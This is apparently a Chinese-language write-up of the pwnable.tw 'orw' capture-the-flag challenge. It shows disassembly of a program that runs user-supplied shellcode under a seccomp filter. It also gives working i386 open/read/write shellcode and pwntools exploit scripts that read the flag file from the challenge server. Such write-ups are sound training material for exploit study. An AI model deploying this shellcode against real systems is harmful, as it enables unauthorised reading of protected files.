pwnable.tw_orw

pwnable.tw_challenge_orw

载入IDA分析:

0x01 main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
lea     ecx, [esp+4]
and esp, 0FFFFFFF0h
push dword ptr [ecx-4]
push ebp
mov ebp, esp
push ecx
sub esp, 4
call orw_seccomp
sub esp, 0Ch
push offset format ; "Give my your shellcode:"
call _printf
add esp, 10h
sub esp, 4
push 0C8h ; nbytes
push offset shellcode ; buf
push 0 ; fd
call _read
add esp, 10h
mov eax, offset shellcode
call eax ; shellcode
mov eax, 0
mov ecx, [ebp+var_4]
leave
lea esp, [ecx-4]
retn

这里很简单:

1
2
3
4
1   读入我们输入的shellcode
2 自动调用我们的shellcode:
mov eax, offset shellcode
call eax ; shellcode

0x02 seccomp

首先直接尝试了调用sys_execve来获取shell,结果失败
重新看程序,发现了orw_seccomp,猜测这里使用seccomp白名单的保护机制来限制我们对系统调用(system call)的函数调用
这里我们的目的是读取flag文件
为了绕过seccomp,我们不用获取shell
只需要利用:

1
2
3
sys_open
sys_read
sys_write

来读取/home/orw/flag文件即可(官网:The flag is usually at /home/xxx/flag)

0x03 shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
xor  ecx,ecx
push ecx ;字符串结尾00
push 0x67616c66
push 0x2f77726f
push 0x2f656d6f
push 0x682f2f2f
mov ebx,esp ;const char __user *filename
xor edx,edx ;int mode
mov eax,0x5 ;sys_open
int 0x80

mov ebx,eax ;int fd
mov ecx,esp ;char __user *buf
mov edx,0x30 ;size_t count
mov eax,0x3 ;sys_read
int 0x80

mov eax,0x4 ;sys_write
mov ebx,0x1 ;int fd=1 (标准输出stdout)/(0 标准输入, 1 标准输出,2 标准错误)
mov edx,0x30 ;size_t count
int 0x80

或者直接利用shellcraft构造:

1
2
3
4
5
shellcode = ""
shellcode += shellcraft.i386.pushstr("/home/orw/flag")
shellcode += shellcraft.i386.linux.syscall("SYS_open", 'esp')
shellcode += shellcraft.i386.linux.syscall("SYS_read", 'eax', 'esp', 0x30)
shellcode += shellcraft.i386.linux.syscall("SYS_write", 1, 'esp', 0x30)

0x04 EXP

1
2
3
4
5
6
7
from pwn import  *

p = remote('chall.pwnable.tw',10001)
p.recvuntil(':')
shellcode = "xor ecx,ecx;push ecx;push 0x67616c66;push 0x2f77726f;push 0x2f656d6f;push 0x682f2f2f;mov ebx,esp;xor edx,edx;mov eax,0x5;int 0x80;mov ebx,eax;mov ecx,esp;mov edx,0x30;mov eax,0x3;int 0x80;mov eax,0x4;mov ebx,0x1;mov edx,0x30;int 0x80"
p.send(asm(shellcode))
p.interactive()

或者:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p = remote("chall.pwnable.tw", 10001)
shellcode = ""
shellcode += shellcraft.i386.pushstr("/home/orw/flag")
shellcode += shellcraft.i386.linux.syscall("SYS_open", 'esp') #shellcraft.i386.linux.syscall("SYS_open", 'esp', 'O_RDONLY', 0)(O_RDONLY只读模式,O_WRONLY只写模式,O_RDWR读写模式)
shellcode += shellcraft.i386.linux.syscall("SYS_read", 'eax', 'esp', 0x30)
shellcode += shellcraft.i386.linux.syscall("SYS_write", 1, 'esp', 0x30)
p.recvuntil(":")
p.send(asm(shellcode))
p.interactive()